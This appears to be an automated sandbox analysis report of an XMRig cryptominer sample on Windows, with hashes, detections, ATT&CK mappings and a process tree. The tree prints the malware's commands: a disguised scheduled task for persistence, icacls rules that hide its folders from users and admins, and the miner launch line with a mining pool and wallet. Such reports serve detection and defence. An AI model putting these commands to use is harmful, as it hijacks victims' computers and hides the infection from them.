xmrig | 3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5

Analysis

max time kernel
150s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
24-12-2024 23:39

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General

Target

JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe
Size

11.8MB
MD5

a5816f6bba79d7761d42ee61d8bd11f5
SHA1

90c05a7427b077fbe81c34fd6fc4f2e6bc608558
SHA256

3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5
SHA512

51c794ce8569c367f475ffb85c15f5efa10c5ea7da86b1336fbeb1cab2fcf5468a26feed252a2fe5eaa5a376a9ae9bd5f87d9b28cc90580e6e98b3d242076eda
SSDEEP

196608:kF7gX0Meai3sCD1yjXEypazPx7WVacovyq6aejL+jGD71iEHiaJzZvdE+cZLIAfr:kF7oxeOOy9ajx0rq+jL+aD5iORdKZMkr

Score

10^/10

xmrig discovery miner

Malware Config

Signatures

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 33 IoCs

miner

resource	yara_rule
behavioral2/memory/4804-2-0x00007FF65C300000-0x00007FF65E398000-memory.dmp	xmrig
behavioral2/memory/4804-3-0x00007FF65C300000-0x00007FF65E398000-memory.dmp	xmrig
behavioral2/memory/4804-4-0x00007FF65C300000-0x00007FF65E398000-memory.dmp	xmrig
behavioral2/memory/4804-5-0x00007FF65C300000-0x00007FF65E398000-memory.dmp	xmrig
behavioral2/memory/4804-6-0x00007FF65C300000-0x00007FF65E398000-memory.dmp	xmrig
behavioral2/memory/4804-10-0x00007FF65C300000-0x00007FF65E398000-memory.dmp	xmrig
behavioral2/memory/4804-16-0x00007FF65C300000-0x00007FF65E398000-memory.dmp	xmrig
behavioral2/memory/4600-19-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp	xmrig
behavioral2/memory/4600-20-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp	xmrig
behavioral2/memory/4600-21-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp	xmrig
behavioral2/memory/4600-22-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp	xmrig
behavioral2/memory/4600-23-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp	xmrig
behavioral2/memory/4600-25-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp	xmrig
behavioral2/memory/4600-61-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp	xmrig
behavioral2/memory/4600-62-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp	xmrig
behavioral2/memory/4716-67-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp	xmrig
behavioral2/memory/4716-66-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp	xmrig
behavioral2/memory/4716-68-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp	xmrig
behavioral2/memory/4716-69-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp	xmrig
behavioral2/memory/4716-70-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp	xmrig
behavioral2/memory/4600-72-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp	xmrig
behavioral2/memory/4716-73-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp	xmrig
behavioral2/memory/4600-74-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp	xmrig
behavioral2/memory/4716-75-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp	xmrig
behavioral2/memory/4600-76-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp	xmrig
behavioral2/memory/4716-77-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp	xmrig
behavioral2/memory/4600-78-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp	xmrig
behavioral2/memory/4716-79-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp	xmrig
behavioral2/memory/4600-80-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp	xmrig
behavioral2/memory/4716-82-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp	xmrig
behavioral2/memory/4600-83-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp	xmrig
behavioral2/memory/4716-84-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp	xmrig
behavioral2/memory/4600-85-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	CertificateClient.exe

Executes dropped EXE 2 IoCs

pid	Process
4600	CertificateClient.exe
4716	msvcr_client.exe

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5100	icacls.exe
1980	icacls.exe
2076	icacls.exe
1476	icacls.exe
2112	icacls.exe
2688	icacls.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 20 IoCs

pid	Process
4804	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe
4804	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4716	msvcr_client.exe
4716	msvcr_client.exe
4716	msvcr_client.exe
4600	CertificateClient.exe
4716	msvcr_client.exe
4600	CertificateClient.exe
4716	msvcr_client.exe
4600	CertificateClient.exe
4716	msvcr_client.exe
4600	CertificateClient.exe
4716	msvcr_client.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4716	msvcr_client.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	CertificateClient.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2128	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe
4600	CertificateClient.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4600	CertificateClient.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4716	msvcr_client.exe
Token: SeLockMemoryPrivilege	4716	msvcr_client.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4716	msvcr_client.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4804 wrote to memory of 2128	4804	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe	82
PID 4804 wrote to memory of 2128	4804	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe	82
PID 4804 wrote to memory of 2688	4804	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe	84
PID 4804 wrote to memory of 2688	4804	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe	84
PID 4804 wrote to memory of 5100	4804	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe	86
PID 4804 wrote to memory of 5100	4804	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe	86
PID 4804 wrote to memory of 1980	4804	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe	88
PID 4804 wrote to memory of 1980	4804	JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe	88
PID 4600 wrote to memory of 2076	4600	CertificateClient.exe	100
PID 4600 wrote to memory of 2076	4600	CertificateClient.exe	100
PID 4600 wrote to memory of 1476	4600	CertificateClient.exe	102
PID 4600 wrote to memory of 1476	4600	CertificateClient.exe	102
PID 4600 wrote to memory of 2112	4600	CertificateClient.exe	104
PID 4600 wrote to memory of 2112	4600	CertificateClient.exe	104
PID 4600 wrote to memory of 4716	4600	CertificateClient.exe	106
PID 4600 wrote to memory of 4716	4600	CertificateClient.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe
"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_3680374ad10154284b2416650dc1580d1dc17fa17571becd25f5480fc29a14d5.exe"
1⤵
- Checks computer location settings
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:4804
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /CREATE /TN "Windows\CertificateServicesClient\CryptoPolicyTask" /TR "C:\ProgramData\msvcr_cache\CertificateClient.exe" /SC MINUTE
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2128
- C:\Windows\System32\icacls.exe
  "C:\Windows\System32\icacls.exe" "C:\ProgramData\msvcr_cache" /inheritance:e /deny "*S-1-1-0:(R,REA,RA,RD)"
  2⤵
  - Modifies file permissions
  PID:2688
- C:\Windows\System32\icacls.exe
  "C:\Windows\System32\icacls.exe" "C:\ProgramData\msvcr_cache" /inheritance:e /deny "*S-1-5-7:(R,REA,RA,RD)"
  2⤵
  - Modifies file permissions
  PID:5100
- C:\Windows\System32\icacls.exe
  "C:\Windows\System32\icacls.exe" "C:\ProgramData\msvcr_cache" /inheritance:e /deny "admin:(R,REA,RA,RD)"
  2⤵
  - Modifies file permissions
  PID:1980

C:\ProgramData\msvcr_cache\CertificateClient.exe
C:\ProgramData\msvcr_cache\CertificateClient.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:4600
- C:\Windows\System32\icacls.exe
  "C:\Windows\System32\icacls.exe" "C:\ProgramData\CertificateServicesServer" /inheritance:e /deny "*S-1-1-0:(R,REA,RA,RD)"
  2⤵
  - Modifies file permissions
  PID:2076
- C:\Windows\System32\icacls.exe
  "C:\Windows\System32\icacls.exe" "C:\ProgramData\CertificateServicesServer" /inheritance:e /deny "*S-1-5-7:(R,REA,RA,RD)"
  2⤵
  - Modifies file permissions
  PID:1476
- C:\Windows\System32\icacls.exe
  "C:\Windows\System32\icacls.exe" "C:\ProgramData\CertificateServicesServer" /inheritance:e /deny "admin:(R,REA,RA,RD)"
  2⤵
  - Modifies file permissions
  PID:2112
- C:\ProgramData\CertificateServicesServer\msvcr_client.exe
  "C:\ProgramData\CertificateServicesServer\msvcr_client.exe" -o xmr-eu1.nanopool.org:14444 -u 49ZWqdCaWsNRwMPmgBraFaQXgs2PMJacE7aaDCf7CsnAfcE1KM93L93f8jN6a8C5Z2CBXGFnHX1LkK6rsKmbjmnqDhbr2jR -a rx/0 -p x --cpu-max-threads-hint=80
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:4716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4600-76-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp

Filesize
32.6MB

Download
memory/4600-74-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp

Filesize
32.6MB

Download
memory/4600-85-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp

Filesize
32.6MB

Download
memory/4600-83-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp

Filesize
32.6MB

Download
memory/4600-61-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp

Filesize
32.6MB

Download
memory/4600-78-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp

Filesize
32.6MB

Download
memory/4600-25-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp

Filesize
32.6MB

Download
memory/4600-72-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp

Filesize
32.6MB

Download
memory/4600-23-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp

Filesize
32.6MB

Download
memory/4600-80-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp

Filesize
32.6MB

Download
memory/4600-62-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp

Filesize
32.6MB

Download
memory/4600-22-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp

Filesize
32.6MB

Download
memory/4600-18-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp

Filesize
32.6MB

Download
memory/4600-19-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp

Filesize
32.6MB

Download
memory/4600-20-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp

Filesize
32.6MB

Download
memory/4600-21-0x00007FF7A9380000-0x00007FF7AB418000-memory.dmp

Filesize
32.6MB

Download
memory/4716-66-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp

Filesize
32.6MB

Download
memory/4716-73-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp

Filesize
32.6MB

Download
memory/4716-86-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp

Filesize
32.6MB

Download
memory/4716-84-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp

Filesize
32.6MB

Download
memory/4716-82-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp

Filesize
32.6MB

Download
memory/4716-67-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp

Filesize
32.6MB

Download
memory/4716-75-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp

Filesize
32.6MB

Download
memory/4716-68-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp

Filesize
32.6MB

Download
memory/4716-69-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp

Filesize
32.6MB

Download
memory/4716-70-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp

Filesize
32.6MB

Download
memory/4716-79-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp

Filesize
32.6MB

Download
memory/4716-77-0x00007FF6C21A0000-0x00007FF6C4238000-memory.dmp

Filesize
32.6MB

Download
memory/4804-10-0x00007FF65C300000-0x00007FF65E398000-memory.dmp

Filesize
32.6MB

Download
memory/4804-16-0x00007FF65C300000-0x00007FF65E398000-memory.dmp

Filesize
32.6MB

Download
memory/4804-0-0x00007FF65C300000-0x00007FF65E398000-memory.dmp

Filesize
32.6MB

Download
memory/4804-15-0x00007FF499360000-0x00007FF499731000-memory.dmp

Filesize
3.8MB

Download
memory/4804-7-0x000001D4B8F50000-0x000001D4B8F70000-memory.dmp

Filesize
128KB

Download
memory/4804-9-0x00007FFDB89A0000-0x00007FFDB89B0000-memory.dmp

Filesize
64KB

Download
memory/4804-4-0x00007FF65C300000-0x00007FF65E398000-memory.dmp

Filesize
32.6MB

Download
memory/4804-6-0x00007FF65C300000-0x00007FF65E398000-memory.dmp

Filesize
32.6MB

Download
memory/4804-3-0x00007FF65C300000-0x00007FF65E398000-memory.dmp

Filesize
32.6MB

Download
memory/4804-1-0x00007FF499360000-0x00007FF499731000-memory.dmp

Filesize
3.8MB

Download
memory/4804-2-0x00007FF65C300000-0x00007FF65E398000-memory.dmp

Filesize
32.6MB

Download
memory/4804-5-0x00007FF65C300000-0x00007FF65E398000-memory.dmp

Filesize
32.6MB

Download